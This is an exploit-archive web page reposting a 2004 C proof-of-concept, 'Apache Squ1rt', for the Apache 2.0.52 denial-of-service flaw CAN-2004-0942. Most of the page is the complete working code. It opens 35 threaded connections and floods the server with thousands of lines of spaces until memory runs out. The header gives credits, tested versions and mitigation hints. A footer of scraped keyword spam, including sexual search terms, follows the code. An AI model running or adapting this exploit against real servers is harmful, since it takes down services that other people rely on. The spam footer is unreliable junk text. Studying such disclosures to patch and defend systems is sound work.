about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , Apache <= 2.0.52 HTTP GET Remote Denial of Service Exploit



2004-11-18 Apache <= 2.0.52 HTTP GET Remote Denial of Service Exploit
CAN-2004-0942

/*
Apache Squ1rt, Denial of Service Proof of Concept
Tested on Apache 2.0.52

j0hnylightning gmail .om
dguido gmail com

Sends a request that starts with:
GET / HTTP/1.0\n
8000 spaces \n
8000 spaces \n
8000 spaces \n
...
8000 times

Apache never kills it. Takes up huge amounts of
RAM which increase with each connection.

Original credit goes to Chintan Trivedi on the
FullDisclosure mailing list:
http://seclists.org/lists/fulldisclosure/2004/Nov/0022.html

More info:
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0942

Versions between 2.0.35 and 2.0.52 may be vulnerable,
but only down to 2.0.50 was tested.

This attack may be preventable with a properly configured
iptables ruleset. Gentoo already has a patch out in the
2.0.52-r1 release in the file 06_all_gentoo_protocol.patch

v2
Rewritten to use pthread.
gcc apache-squ1rt.c -lpthread
*/

#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <pthread.h>
#define DEST_PORT 80

void *squirtIt(char *hName);

char attackBuf[8000];
char letsGetStarted[128];

int main(int argc, char **argv){
	int num_connect;
	int ret;
	pthread_t tid[35];

	sprintf(letsGetStarted, "GET / HTTP/1.0\n");
	memset(attackBuf, ' ', 8000);
	attackBuf[7998]='\n';
	attackBuf[7999]='\0';

	if (argc != 2){
		fprintf(stderr, "Usage: %s <host name> \n", argv[0]);
		exit(1);
	}

	for(num_connect = 0; num_connect < 35; num_connect++){
		ret = pthread_create(&tid[num_connect], NULL, (void *)squirtIt,
argv[1]);
	}
	
	/* assuming any of these threads actually terminate, this waits for all
of them */
	for(num_connect = 0; num_connect < 35; num_connect++){
		pthread_join(tid[num_connect], NULL);
	}

 return 0;
}

void *squirtIt(char *hName){ 
	int sock, i;
	struct hostent *target;
	struct sockaddr_in addy;

	if((target = gethostbyname(hName)) == NULL){
		herror("gethostbyname()");
		exit(1);
	}

	if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0){
		perror("socket()");
		exit(1);
	}

	addy.sin_family = AF_INET;
	addy.sin_port = htons(DEST_PORT);
	bcopy(target->h_addr, (char *)&addy.sin_addr, target->h_length );
	memset(&(addy.sin_zero), '\0', 8);

	if((connect(sock, (struct sockaddr*)&addy, sizeof(addy))) < 0){
		perror("connect()");
		exit(1);
	}

	send(sock, letsGetStarted, strlen(letsGetStarted), 0);

	for(i=0; i < 8000; i++){
		send(sock, attackBuf, strlen(attackBuf), 0);
	}

	close(sock);
}


securitydot.net - 2004-11-18

Advertising

Copyright 2007, SecurityDot
Tue, 10 Nov 2009 00:22:55 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
.asp hack /component mambo Remo kosovarja www.2008sf www.qjinfo porno s ne 89SIX.COM news for c enlargmypi www.2008sf www.shuish Www.3pic.c 89SIX.COM adventnet Hindi sex free ponog www.lookor lezbieen all cartoo Wap sex co www.cscwz. donkey pun vedeo sexs WWW.FTVGIR Hindi sex vBulletin- nude pictu www.sexy w j-z zay Redaction Pinup Microsoft teen18-19 tamil nude lade www.xvideo showsexy www.ohslut photo+iran Www.sexyac myspcae cl pojabhat www.jc361d www.5qizhi net cafe s SEXFREE.CO NAKEDCURL www.sexsex mambo Remo